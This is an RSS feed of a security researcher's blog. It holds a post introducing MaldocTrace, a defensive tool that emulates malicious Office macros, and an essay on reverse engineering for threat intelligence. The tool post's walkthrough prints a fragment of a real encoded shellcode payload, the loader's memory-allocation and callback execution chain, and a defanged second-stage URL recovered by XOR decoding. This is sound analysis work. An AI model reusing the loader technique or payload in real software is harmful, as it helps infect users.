<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ialle Teixeira on Medium]]></title>
        <description><![CDATA[Stories by Ialle Teixeira on Medium]]></description>
        <link>https://medium.com/@debugactiveprocess?source=rss-e02d10b8090e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*WsaBr2GpzeSLwAoCHFQx_A.jpeg</url>
            <title>Stories by Ialle Teixeira on Medium</title>
            <link>https://medium.com/@debugactiveprocess?source=rss-e02d10b8090e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 14:46:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@debugactiveprocess/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MaldocTrace: Emulating Malicious Office Macros Without Running Them]]></title>
            <link>https://debugactiveprocess.medium.com/maldoctrace-emulating-malicious-office-macros-without-running-them-fcd98245a087?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcd98245a087</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Wed, 11 Nov 2026 22:41:51 GMT</pubDate>
            <atom:updated>2026-11-11T22:41:51.842Z</atom:updated>
            <content:encoded><![CDATA[<h3>TL;DR</h3><p>MaldocTrace is an open-source analyzer that tells you what a malicious Office document would do, without opening it in Office. It extracts VBA and Excel 4.0 macros, runs them in an interpreter where every Windows API, COM object and shell call is simulated, and reports the commands, payloads and IOCs with the exact module and line that produced each one.</p><p>It ships as a single static Go binary for Windows, Linux and macOS, under the Apache-2.0 license: <a href="https://github.com/debugactiveprocess/MaldocTrace">github.com/debugactiveprocess/MaldocTrace</a>.</p><h3>The problem every SOC knows</h3><p>A user reports an invoice.doc. The mail gateway did not block it, the EDR has no verdict, and the macro is 137,000 characters of variables named lllIiIjLliJjJIlJ. You have three options, and none of them is great:</p><ul><li><strong>Read the macro by hand.</strong> Obfuscation is designed to make this slow, and you are one analyst with a queue.</li><li><strong>Detonate it in a sandbox.</strong> Modern loaders check locale, user activity, AV products and dates before doing anything, and a sandbox that sees nothing tells you nothing.</li><li><strong>Run a static scanner.</strong> You get a list of suspicious keywords (Shell, CreateObject, VirtualAlloc), which confirms the document is bad but not what it does or where it calls home.</li></ul><p>What the analyst actually needs is the <em>answer</em>: which process would start, which URL would be fetched, which bytes would land in memory. MaldocTrace is built to give that answer in seconds.</p><h3>Why another maldoc tool?</h3><p>The existing tools are excellent at what they were built for, and MaldocTrace stands on their ideas. The gap is in combining extraction, emulation and macro-less detection in one tool that is easy to deploy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u7hQp_l1HO3h2GhBtQrC6w.png" /></figure><p>The design goals were simple: no Office, no Python environment, no network, one binary you can drop on an analysis box or a CI runner, and output a SOAR playbook can parse.</p><h3>How it works</h3><p>MaldocTrace is a four-stage pipeline, and the emulation stage is where it differs from a scanner. Every finding is traced back to the line that produced it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*xG2vf0ij8r-1Dz94gocDtQ.png" /></figure><p><strong>Extraction.</strong> The extractor parses OLE/CFB and OOXML containers, decompresses VBA streams (MS-OVBA), and keeps the compiled p-code next to the source. It also pulls everything a macro might read its payload from: UserForm control values, Word body text, worksheet cells, Excel 4.0 macro sheets (BIFF8 formulas decompiled with the MS-XLS function tables), document properties and document variables. Parsers have resource limits against zip bombs and malformed files, and they are fuzzed.</p><p><strong>Emulation.</strong> A VBA interpreter runs from the auto-run entry points (AutoOpen, Document_Open, Workbook_Open…) with a bounded execution budget. Every object the macro creates is a simulated one: WScript.Shell.Run records a command instead of starting a process, XMLHTTP records a download, ADODB.Stream writes to a virtual file system, and declared Win32 APIs get simulated pointers so that VarPtr-style shellcode loaders can be followed. The same host serves an XLM interpreter for Excel 4.0 macros, so VBA calling ExecuteExcel4Macro lands in the same trace.</p><p><strong>Decoders.</strong> When a recovered command carries a second layer, it is unwrapped: PowerShell -EncodedCommand, UTF-7 buffers passed to MultiByteToWideChar, certutil -decode chains over the virtual file system, and JScript handed to ScriptControl. Decoded blobs are identified (PE, ZIP, OLE, PDF, shellcode) and hashed.</p><p><strong>Provenance.</strong> Each event, command, payload and IOC gets an evidence ID and points back to its source: module, procedure and line for VBA, sheet and cell for XLM. In a report you can follow <em>why</em> a URL is there, not just <em>that</em> it is there.</p><h3>Walkthrough: a UTF-7 shellcode loader</h3><p>The sample is a Word document, SHA-256 394c97cc9d567e556a357f129aea03f737cbd2a1761df32146ef69d93afc73dc. Its only module, ThisDocument, is 137,195 characters of obfuscated VBA that fills a byte array one element at a time. Nothing in it reads like a URL or a command.</p><pre>$ maldoctrace analyze sample.doc<br>MaldocTrace 0.2.1 (schema 1.3.0)<br>File: sample.doc (60418 bytes)<br>Format: ooxml<br>Status: partial | Macros: present<br><br>-- Recovered commands --<br>  [command-1] In-memory payload via MultiByteToWideChar<br>      Command: +VZCJSFXlgUiA7A-\x00+6AA-\x00\x00+SF3tg0gSTY1IL8LHA3I-...<br>      Receiver: kernel32.MultiByteToWideChar<br>      Source: ThisDocument.lllIiIjLliJjJIlJ:113<br><br>-- Decoded payloads and recovered scripts --<br>  [payload-1] UTF-7 buffer (ljLLJJLJjjjjJijI(0))<br>      Category: binary | 1858 bytes | sha256=063d85ce18b08987b75b57c5e01d1d7e8183b54d56c4473eca415285cb28a555<br>      Encoding: UTF-7 → UTF-16LE<br><br>-- Entry points --<br>  ThisDocument.DoCUmeNT_OPEn  (Document_Open event)<br><br>-- Simulated operations --<br>  #1 api_call [ThisDocument.lllIiIjLliJjJIlJ:112] -1  0 20480 12288 64<br>  #2 api_call [ThisDocument.lllIiIjLliJjJIlJ:113] → command-1<br>  #3 api_call [ThisDocument.lllIiIjLliJjJIlJ:114]  0 0 0<br><br>Reconstructed strings: 4395</pre><p>The three simulated API calls, read against the macro’s Declare statements, are the whole infection chain:</p><ol><li><strong>Line 112:</strong> ZwAllocateVirtualMemory on the current process (-1), 0x5000 bytes, MEM_COMMIT | MEM_RESERVE (12288), PAGE_EXECUTE_READWRITE (64).</li><li><strong>Line 113:</strong> MultiByteToWideChar with code page 65000 (UTF-7) decodes the byte array straight into that RWX buffer. This is how the shellcode avoids ever existing as raw bytes in the document.</li><li><strong>Line 114:</strong> Internal_EnumUILanguages (kernelbase) is called with the buffer as its callback, which is what actually jumps into the shellcode.</li></ol><p>MaldocTrace performs the UTF-7 decode itself and reports the result as payload-1: 1,858 bytes with a hash you can hunt on. --dump-payloads writes it to disk with a neutral .bin extension and a manifest.json:</p><pre>$ maldoctrace analyze sample.doc --dump-payloads out<br>dumped out\394c97cc…3dc\payload-1.bin<br>dumped out\394c97cc…3dc\manifest.json</pre><p>From here the analyst takes one manual step. The shellcode starts with a small decoder stub, and a single-byte XOR (key 0xE4) over the recovered bytes reveals the second stage:</p><pre>$ python -c &quot;b=open(&#39;payload-1.bin&#39;,&#39;rb&#39;).read(); print(bytes(c^0xE4 for c in b[0x321:0x37F]))&quot;<br>b&#39;hxxp://worldoptions[.]buzz/agE7nqQLgssuVeUY/OGHAYZZF….png&#39;</pre><p>(URL defanged.) The payload also carries leftover build strings: FASM include paths and per-vendor “expiry date” constants for Sophos, Avast, McAfee, Kaspersky, Bitdefender and others, which suggests the loader changes behaviour depending on the installed AV.</p><p>Total time from unknown .doc to a blockable URL: under a minute, with no Office, no VM and nothing executed. The report marks the run as partial: MaldocTrace emulates VBA, not native shellcode, so it stops at that boundary and hands you the bytes.</p><h3>Beyond VBA</h3><p>Many current lures carry no VBA at all, so MaldocTrace also covers the other ways a document can turn hostile.</p><p><strong>Excel 4.0 (XLM) macros.</strong> Macro sheets are read from .xls (BIFF8 formulas decompiled from their parsed tokens) and .xlsm, including hidden and very hidden sheets. An XLM interpreter runs from Auto_Open with GOTO, RUN, IF, WHILE/FOR, FORMULA and SET.NAME. That matters because XLM malware typically writes its real formulas into cells at run time; MaldocTrace reports those self-written formulas as the deobfuscated macro. EXEC, CALL and REGISTER (for example URLDownloadToFileA or WinExec) are simulated and recorded.</p><p><strong>Remote template injection.</strong> An attachedTemplate relationship in a .docx, or \*\template in RTF, makes Word fetch a macro-enabled template from a URL. The document itself is clean, so it is reported as a template_injection finding with the URL as an IOC.</p><p><strong>External OLE objects and DDE.</strong> External OLE links are flagged, with MHTML (CVE-2021–40444) and ms-msdt (Follina) monikers called out. DDE and DDEAUTO fields are found in .docx, .doc and RTF, including QUOTE-encoded and nested fields, plus Excel DDE formulas.</p><p><strong>RTF Equation Editor exploits.</strong> \objdata is decoded the way Word reads it, tolerating the junk characters and control-word tricks attackers use to break naive parsers. The OLE1 header is parsed and the MTEF stream is checked for the FONT overflow (CVE-2017-11882 / CVE-2018-0802) and MATRIX overflow (CVE-2018-0798); the bytes after the malformed record are extracted.</p><p><strong>VBA stomping.</strong> Attackers can replace a module’s source with something harmless and leave the malicious compiled p-code, which Office executes. MaldocTrace compares string literals in the p-code with the source and reports literals that exist only in the p-code, then scans them for indicators.</p><h3>Fitting it into a blue team workflow</h3><p>The text report is for a human; the JSON report is for everything else. The schema is versioned (currently 1.3.0) and every object carries an evidence ID, so a playbook can go from an IOC back to the command and line that produced it.</p><pre># full JSON report for one file<br>maldoctrace analyze suspicious.xls --format json &gt; report.json<br><br># one JSON object per line for a directory (quarantine share, mail gateway export)<br>maldoctrace analyze ./quarantine --recursive --format jsonl &gt; results.jsonl<br><br># add every rebuilt string with its location<br>maldoctrace analyze sample.docm --show-strings<br><br># write decoded payloads and dropped files for the sandbox or YARA<br>maldoctrace analyze sample.docm --dump-payloads ./out<br><br># just the macros, or just the container layout<br>maldoctrace extract suspicious.doc --out ./vba<br>maldoctrace inspect suspicious.doc</pre><p>A few patterns that work well:</p><ul><li><strong>Phishing triage.</strong> Run it on every attachment a user reports, push iocs to the proxy or DNS blocklist, and attach the text report to the ticket.</li><li><strong>Retro-hunting.</strong> Run batch mode over a quarantine share and search the JSONL for a domain or payload hash from a new intel report.</li><li><strong>Detection engineering.</strong> The recovered command lines are what your EDR would see; use them to test Sigma or EDR rules without detonating anything.</li><li><strong>Payload hand-off.</strong> Dumped payloads use neutral extensions and a manifest.json with hashes, so they can be passed to a sandbox or YARA without anyone double-clicking an .exe.</li></ul><p>Because it is one static binary with no runtime dependencies, it runs the same on an analyst laptop, a jump box or a CI runner.</p><h3>Limitations</h3><p>Emulation is a model of Windows and Office, not the real thing, and it is worth being precise about where it stops.</p><ul><li><strong>Native code is not executed.</strong> Shellcode and PE payloads are extracted and hashed, not run; their behaviour is for your sandbox or disassembler.</li><li><strong>The object model is partial.</strong> Calls to objects or methods the host does not model return “unknown” values. The report says so: Status: partial and a semantic coverage field tell you how far the run got, and diagnostics name what was missing.</li><li><strong>Environment checks can still win.</strong> A macro that waits for a specific user name or a mouse event may take a branch the emulator does not satisfy. Conditional paths are reported, but not every one is forced.</li><li><strong>It is a young project.</strong> Version 0.2.1 was released in November 2026. Bug reports with sample hashes are the fastest way to improve coverage.</li></ul><h3>Try it</h3><p>Prebuilt binaries for Windows, Linux and macOS (x64 and ARM64) are on the <a href="https://github.com/debugactiveprocess/MaldocTrace/releases/tag/v0.2.1">releases page</a>, with a checksums.txt to verify them. With a Go toolchain:</p><pre>go install github.com/debugactiveprocess/MaldocTrace/cmd/maldoctrace@v0.2.1</pre><p>The code is Apache-2.0 on <a href="https://github.com/debugactiveprocess/MaldocTrace">GitHub</a>. Issues, samples that break the emulator (by hash, never attached), and pull requests are welcome. If you work in a SOC or a CERT and try it on your own queue, I would like to hear what it missed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcd98245a087" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse Engineering as Counterintelligence in 2026: From Malware Artifacts to Defensive Decisions]]></title>
            <link>https://debugactiveprocess.medium.com/reverse-engineering-as-counterintelligence-in-2026-from-malware-artifacts-to-defensive-decisions-3a63c9759bd5?source=rss-e02d10b8090e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a63c9759bd5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[banking-trojan]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Ialle Teixeira]]></dc:creator>
            <pubDate>Wed, 30 Sep 2026 10:55:21 GMT</pubDate>
            <atom:updated>2026-09-30T10:55:21.716Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIDL3Y0vyYJU3b-_ZwYAFA.png" /></figure><p>How technical artifacts help defenders understand adversary intent, validate fraud hypotheses, and convert malware analysis into operational decisions. This article examines reverse engineering as a counterintelligence capability: not merely the act of decoding malware, but the disciplined transformation of binaries, mobile applications, scripts, loaders, configurations, and network traces into evidence that can be verified, correlated, and acted upon.</p><p>It covers artifact provenance, static and dynamic analysis, mobile banking malware, anti-analysis techniques, AI-assisted reversing, telemetry correlation, and the safeguards organizations should demand from a reverse engineering program that supports fraud prevention, security operations, and cyber threat intelligence.</p><p>How much can an adversary’s operation reveal through a single technical artifact? A malicious APK, a loader script, a repacked application, or a memory-resident payload is not only a file to classify. It is a fragment of an operational system. Inside it may exist assumptions about the victim, target application names, command-and-control logic, evasion routines, developer mistakes, build habits, infrastructure dependencies, and clues about what the attacker needs to succeed.</p><p>In a counterintelligence context, reverse engineering helps the defender move from artifact possession to defensive understanding. The question is not only “what does this malware do?” but also “what does this artifact reveal about the adversary’s capabilities, constraints, priorities, and expected environment?” That distinction matters. A hash can feed a blocklist, but understanding behavior can change fraud rules, product controls, attestation policy, customer protection, and incident response priorities.</p><p>The threat landscape reinforces this need. Modern Android banking trojans such as Klopatra, Albiriox, ToxicPanda, TrickMo variants, Brokewell, and NFC-focused malware families show that mobile fraud is increasingly built around on-device execution, accessibility abuse, overlay manipulation, remote interaction, anti-analysis controls, and rapid iteration. Cleafy described Klopatra as a modern Android banking trojan using Hidden VNC, dynamic overlays, native libraries, and commercial-grade protection through Virbox to hinder analysis and detection. [Cleafy, Klopatra analysis](<a href="https://www.cleafy.com/cleafy-labs/klopatra-exposing-a-new-android-banking-trojan-operation-with-roots-in-turkey">https://www.cleafy.com/cleafy-labs/klopatra-exposing-a-new-android-banking-trojan-operation-with-roots-in-turkey</a>).</p><p>This changes the defensive requirement. Organizations can no longer treat reverse engineering as an isolated lab activity that ends with a family name and a few indicators. The output must support decisions: what to block, what to monitor, what to instrument, what to ask product teams to change, and what assumptions about authentication, device integrity, and user behavior have been invalidated by the malware.</p><h3><strong>From Malware Artifact to Defensive Decision</strong></h3><p>Consider a hypothetical scenario: a fraud team receives an Android package distributed through a fake support page, a JavaScript loader found in a phishing kit, and telemetry showing anomalous device behavior during banking sessions. Each artifact can be analyzed in isolation, but the defensive value appears when the team can connect the technical details to a decision.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VoRhGe128-uFncGvjjgvaw.png" /></figure><p>In this workflow, the artifact is not treated as proof of compromise by itself. It supports a hypothesis. A permission in an Android manifest does not prove malicious use. A C2-like string may be dead code, a decoy, or an inactive configuration. A target package list does not prove that every listed institution was attacked. Reverse engineering must identify what was observed, what was inferred, and what still requires validation.</p><p>For example, the presence of accessibility abuse in an Android application is significant because many modern banking trojans use Android accessibility services to read interface elements, simulate taps, grant permissions, dismiss warnings, prevent uninstallation, and conduct on-device fraud. TrickMo variants analyzed by Cleafy included accessibility abuse, screen recording, keylogging, OTP interception, and anti-analysis mechanisms. [Cleafy, TrickMo analysis](<a href="https://www.cleafy.com/cleafy-labs/a-new-trickmo-saga-from-banking-trojan-to-victims-data-leak">https://www.cleafy.com/cleafy-labs/a-new-trickmo-saga-from-banking-trojan-to-victims-data-leak</a>) But a reliable assessment must still distinguish the declared capability from actual runtime execution and from the conditions required for that execution.</p><p>The defensive decision should therefore name the evidence, the confidence, and the operational action. “Malware observed” is less useful than “sample requests accessibility service, downloads configuration from this domain, contains a target list including these packages, and attempts overlay or remote-control behavior after the user grants permission.” The first statement labels the artifact. The second can guide detection engineering, fraud controls, and incident response.</p><h3><strong>Provenance and Technical Correlation of Artifacts</strong></h3><p>A reverse engineering process that supports counterintelligence must begin with provenance. The team should record where the artifact came from, who collected it, when it was collected in UTC, how it was obtained, and what transformations were performed before analysis. For files, this includes cryptographic hashes, original filename, size, MIME type, container structure, signing certificate details, package metadata, compiler or build hints, and any extraction or unpacking steps.</p><p>The hash verifies the integrity of the collected bytes. It does not prove authorship, maliciousness, campaign membership, or victim impact. A sample can be copied, renamed, repacked, padded, or wrapped by a dropper. A hash can identify a specific file, but it cannot explain the attack. That explanation comes from correlating multiple layers: static structure, dynamic behavior, infrastructure, telemetry, and operational context.</p><p>Static analysis can identify imports, strings, permissions, resources, classes, native libraries, encryption routines, target package names, hardcoded domains, certificate metadata, and packer artifacts. Dynamic analysis can observe network connections, filesystem changes, inter-process behavior, UI manipulation, permission abuse, anti-debug triggers, and command execution. Memory analysis can reveal decrypted strings, runtime configurations, injected modules, or command formats that do not exist in clear form on disk.</p><p>In mobile malware, the relationship between Java/Kotlin code, native libraries, packed payloads, and runtime permissions has become especially important. Klopatra’s use of native libraries and commercial protection is a useful example because it shows a shift away from easily inspected application-layer logic toward protected components designed to survive static inspection. [Cleafy, Klopatra analysis](https://www.cleafy.com/cleafy-labs/klopatra-exposing-a-new-android-banking-trojan-operation-with-roots-in-turkey)</p><p>Albiriox illustrates another useful case. Cleafy described it as an Android malware family offered as Malware-as-a-Service, combining a VNC-based remote access module with overlay attacks and hardcoded targets covering more than 400 banking and cryptocurrency applications. [Cleafy, Albiriox analysis](<a href="https://www.cleafy.com/cleafy-labs/albiriox-rat-mobile-malware-targeting-global-finance-and-crypto-wallets">https://www.cleafy.com/cleafy-labs/albiriox-rat-mobile-malware-targeting-global-finance-and-crypto-wallets</a>) From a reverse engineering perspective, that target list is not just a set of strings. It is a map of criminal product-market fit. It reveals which applications the malware author expected affiliates to monetize, which geographies might be in scope, and which defensive teams should evaluate exposure.</p><p>Correlation must preserve uncertainty. Shared infrastructure can indicate common operation, but it can also reflect rented hosting, reused panels, copycat builders, or affiliate overlap. Similar code can indicate common authorship, leaked source, shared libraries, or commodity tooling. A reused certificate can be meaningful, but it can also result from low-effort repackaging or automated build pipelines. Technical similarity should generate an investigative path, not an attribution shortcut.</p><p>A useful internal record should distinguish at least four relationship types:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_GRcehv5GhNUWcMuMs2W4A.png" /></figure><p>This separation protects the analysis from becoming more confident than the evidence allows. It also makes the work reconstructible. A finding that cannot be reconstructed is difficult to trust, difficult to improve, and dangerous to automate.</p><h3><strong>Reverse Engineering Recent Malware: What the Cases Teach</strong></h3><p>Recent malware families show that reverse engineering is increasingly about understanding workflows, not only payloads.</p><p>Klopatra demonstrates the value of studying anti-analysis architecture. Its reported use of native libraries, commercial-grade protection, obfuscation, anti-debugging, and runtime integrity checks means the defensive question cannot be limited to “which strings are present?” The team must also ask which parts of the malware are deliberately hidden from common tooling, what behavior only appears after runtime conditions are satisfied, and how the adversary expects analysts to fail. [Cleafy, Klopatra analysis](<a href="https://www.cleafy.com/cleafy-labs/klopatra-exposing-a-new-android-banking-trojan-operation-with-roots-in-turkey">https://www.cleafy.com/cleafy-labs/klopatra-exposing-a-new-android-banking-trojan-operation-with-roots-in-turkey</a>)</p><p>Albiriox demonstrates how Malware-as-a-Service changes reverse engineering priorities. A family offered to affiliates must support distribution, control, configuration, credential capture, and monetization across multiple targets. In such cases, reversing the command model, configuration format, target list, and permission flow may be more valuable than naming a single payload. [Cleafy, Albiriox analysis](<a href="https://www.cleafy.com/cleafy-labs/albiriox-rat-mobile-malware-targeting-global-finance-and-crypto-wallets">https://www.cleafy.com/cleafy-labs/albiriox-rat-mobile-malware-targeting-global-finance-and-crypto-wallets</a>)</p><p>ToxicPanda demonstrates the importance of not overfitting to existing families. Cleafy initially associated the campaign with TgToxic-like characteristics, but later tracked it separately after code differences and incomplete command implementations became clear. [Cleafy, ToxicPanda analysis](<a href="https://www.cleafy.com/cleafy-labs/toxicpanda-a-new-banking-trojan-from-asia-hit-europe-and-latam">https://www.cleafy.com/cleafy-labs/toxicpanda-a-new-banking-trojan-from-asia-hit-europe-and-latam</a>) This is an important counterintelligence lesson: similarity is not identity. Reverse engineering must leave room for forks, prototypes, regional adaptations, and incomplete malware.</p><p>TrickMo demonstrates that reverse engineering can expose not only the victim-side malware but also weaknesses in the adversary’s own infrastructure. Cleafy reported that analysis of a TrickMo variant revealed command-and-control structure and exposed data-management endpoints containing stolen information. [Cleafy, TrickMo analysis](<a href="https://www.cleafy.com/cleafy-labs/a-new-trickmo-saga-from-banking-trojan-to-victims-data-leak">https://www.cleafy.com/cleafy-labs/a-new-trickmo-saga-from-banking-trojan-to-victims-data-leak</a>) The defensive value here is broader than detection. Understanding the backend can support victim notification, takedown, infrastructure mapping, and legal or regulatory response.</p><p>The XZ Utils backdoor showed that reverse engineering and build-process analysis are also essential for supply-chain defense. The malicious changes were not a typical endpoint payload delivered to victims, but a carefully placed backdoor in widely used open-source compression tooling. CISA issued an advisory for CVE-2024–3094 after malicious code was found in XZ Utils versions 5.6.0 and 5.6.1. [CISA, CVE-2024–3094 advisory](<a href="https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094">https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094</a>) The lesson is that reverse engineering in 2026 must include packages, build scripts, test artifacts, release pipelines, and dependency behavior, not only obvious malware binaries.</p><p>Lumma Stealer demonstrates the operational importance of extracting infrastructure and control-plane details. Microsoft announced legal action in 2025 against Lumma Stealer, which Reuters reported had infected nearly 400,000 Windows computers in a two-month period and was used to steal data from browsers, cryptocurrency wallets, and other applications. [Reuters, Lumma Stealer disruption](<a href="https://www.reuters.com/sustainability/boards-policy-regulation/microsoft-files-legal-action-against-information-stealing-malware-lumma-stealer-2025-05-21/">https://www.reuters.com/sustainability/boards-policy-regulation/microsoft-files-legal-action-against-information-stealing-malware-lumma-stealer-2025-05-21/</a>) For defenders, infostealer reversing is valuable because it can identify what data is targeted, how exfiltration is structured, which browsers or wallets are affected, and what post-compromise detections are necessary.</p><p>These cases are different, but they share a pattern: the artifact is a doorway into the adversary’s operating model. The analyst’s job is to extract that model carefully enough that the organization can act.</p><h3><strong>Static, Dynamic, and Telemetry Correlation</strong></h3><p>Reverse engineering becomes operationally useful when the output can be compared with real telemetry. Static findings alone are often too broad. Dynamic sandbox behavior alone can be incomplete because malware may hide under analysis conditions. Enterprise telemetry alone can show suspicious behavior without explaining intent. The value appears when these layers are connected.</p><p>For a mobile banking trojan, the static layer might show accessibility declarations, overlay permissions, target package names, command identifiers, encrypted strings, native library loading, certificate metadata, and suspicious permissions. The dynamic layer might show permission-grant automation, C2 communication, screen-reading behavior, UI interaction, overlay display, anti-emulator checks, or configuration retrieval. The telemetry layer might show device-risk changes, failed attestation, unusual session navigation, sudden geolocation inconsistency, suspicious device model, new package installation, or abnormal transaction timing.</p><p>The same principle applies to web loaders, phishing kits, desktop malware, and cloud-oriented payloads. A loader might contain obfuscated JavaScript and a remote fetch path. Runtime analysis might reveal staged payload delivery. SIEM telemetry might show requests to the same path from user endpoints or from API infrastructure. The decision is stronger when all three layers support each other.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XuHl50vgn9esU5t8JXPIaQ.png" /></figure><p>The practical output should be a set of defensible observations. For example:</p><p><em>- The sample contains a target list that includes specific financial application package names.</em></p><p><em>- The sample requests accessibility services and contains logic consistent with UI manipulation.</em></p><p><em>- During controlled execution, the sample contacts a specific endpoint and retrieves configuration.</em></p><p><em>- Production telemetry shows sessions from devices with the same package installed and abnormal navigation before suspicious transactions.</em></p><p><em>- The recommended decision is to alert on the combined condition, not on any single weak signal.</em></p><p>This is the difference between detection and intelligence. Detection may fire on an indicator. Intelligence explains why the indicator matters, what it does not prove, and which action is proportionate.</p><p><strong>Reliable Evidence in Reverse Engineering</strong></p><p>Reverse engineering can produce persuasive artifacts: decompiled code, screenshots, strings, graphs, function names, call trees, packet captures, and sandbox reports. These outputs can look authoritative even when the underlying interpretation is uncertain. A disciplined program must therefore evaluate the reliability of each claim.</p><p>Decompilation is not source code. Function names may be generated by tools or renamed by analysts. Control flow can be distorted by obfuscation. Strings can be encrypted, decoyed, or borrowed from open-source projects. Sandbox behavior can be shaped by the environment. A sample may behave differently by locale, device model, SIM presence, emulator status, operating system version, installed applications, or time.</p><p>The analysis record should identify the conditions under which behavior was observed. For mobile malware, this may include Android version, device model, emulator or physical device, language, installed target applications, network configuration, permission state, Google Play Protect state, attestation state, and whether the sample was executed fully or only inspected statically. Without this context, another analyst may be unable to reproduce the result.</p><p>Attribution requires even more restraint. A Turkish-language note, a Russian-speaking forum post, a Chinese-language lure, a reused builder, or a region-specific target list may be relevant. None of these elements alone proves actor identity. They can support hypotheses about language, affiliate market, development environment, or intended victims. The conclusion must state what would weaken it: contradictory infrastructure evidence, different affiliate distribution, reuse of leaked source, or telemetry showing another operational pattern.</p><p>Artificial intelligence adds speed and risk to this process. AI systems can summarize decompiled code, propose function names, cluster strings, compare reports, and help analysts produce readable assessments. They can also merge unrelated entities, invent family links, overstate intent, or treat tool output as confirmed behavior. In reverse engineering, AI should support analyst workflow, not replace evidentiary discipline. Every decisive claim should remain tied to an artifact, observation, tool output, or runtime record that can be independently reviewed.</p><p>External artifacts also need containment. Malware samples, phishing pages, office documents, PDFs, scripts, and configuration files may include active content or adversarial instructions. Analysis pipelines should prevent untrusted content from controlling automated workflows, leaking analysis priorities, or reaching production systems. A reverse engineering program must protect not only the organization from the malware, but also the analysis process from the artifact.</p><h3><strong>What Organizations Should Demand From a Reverse Engineering Program</strong></h3><p>A useful reverse engineering capability needs more than tools. It needs a repeatable path from collection to decision. The team should be able to explain why a sample was analyzed, what question the analysis answered, what evidence supports the answer, what remains uncertain, and what changed because of the work.</p><p>The program should define intake criteria. Not every sample deserves deep analysis. A hash-only triage may be enough for commodity malware with known behavior and no institutional relevance. A full analysis may be justified when the artifact targets the organization’s customers, uses a new fraud technique, affects authentication assumptions, appears in active telemetry, or exposes a supply-chain dependency.</p><p>The output should be tiered. Executives need decisions and impact. SOC teams need detection logic, indicators, and triage guidance. Fraud teams need behavioral signals, device context, and transaction relevance. Product teams need control gaps and design implications. Legal and privacy teams need evidence handling, exposure, and notification considerations. A single reverse engineering report rarely serves all audiences unless it separates technical evidence from operational recommendations.</p><p>Metrics should measure usefulness, not only volume. Counting analyzed samples is easy and often misleading. Better metrics include time from collection to triage, proportion of findings converted into detections, number of detections validated against telemetry, false-positive rate after deployment, recurrence of previously observed infrastructure, time to block or mitigate, and number of product or fraud-control changes informed by analysis.</p><h3>Organizations should also maintain a knowledge base of adversary capabilities. For mobile banking fraud, this might include:</h3><blockquote>- Families observed targeting customers or relevant regions.</blockquote><blockquote>- Common permissions and abuse patterns.</blockquote><blockquote>- Overlay and remote-control techniques.</blockquote><blockquote>- NFC, HCE, and relay-related behaviors.</blockquote><blockquote>- Known package names, certificates, and droppers.</blockquote><blockquote>- C2 URI structures and configuration formats.</blockquote><blockquote>- Anti-analysis and anti-emulator logic.</blockquote><blockquote>- Telemetry signals that were actually useful in production.</blockquote><p>The knowledge base should preserve original evidence and confidence levels. It should not become a pile of unqualified indicators. An expired domain, an old target list, or a family name without behavior can mislead defenders. The purpose is to support future decisions faster while keeping the reasoning inspectable.</p><p>Finally, reverse engineering must be connected to action. If the program cannot show how analysis changed detections, reduced exposure, improved fraud controls, informed takedowns, supported incident response, or corrected an assumption in the product, it risks becoming an expensive classification exercise.</p><h3><strong>Conclusion</strong></h3><p>Reverse engineering in 2026 is not only the discipline of understanding malware internals. It is a counterintelligence function that turns hostile technical artifacts into validated hypotheses, operational detections, and defensive decisions.</p><p>The artifact is the starting point, not the conclusion. A malicious APK, loader, backdoor, repacked application, or supply-chain component can reveal capabilities, infrastructure, target selection, evasion strategy, and operational constraints. But those findings become intelligence only when provenance is preserved, behavior is validated, uncertainty is stated, and the result changes a decision.</p><p>The defensive challenge is this: if an organization can name a malware family but cannot explain which behavior matters, which telemetry confirms it, which control should change, and what evidence would revise the conclusion, is it practicing reverse engineering as intelligence, or merely giving technical language to an unresolved artifact?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a63c9759bd5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The new Windows composable sandbox: CreateProcessInSandbox, FlatBuffers and the death of classic…]]></title>
            <link>https://debugactiveprocess.medium.com/the-new-windows-composable-sandbox-createprocessinsandbox-flatbuffers-and-the-death-of-classic-bcb5fc1bb18c?source=rss-e02d10b8090e------2</link>
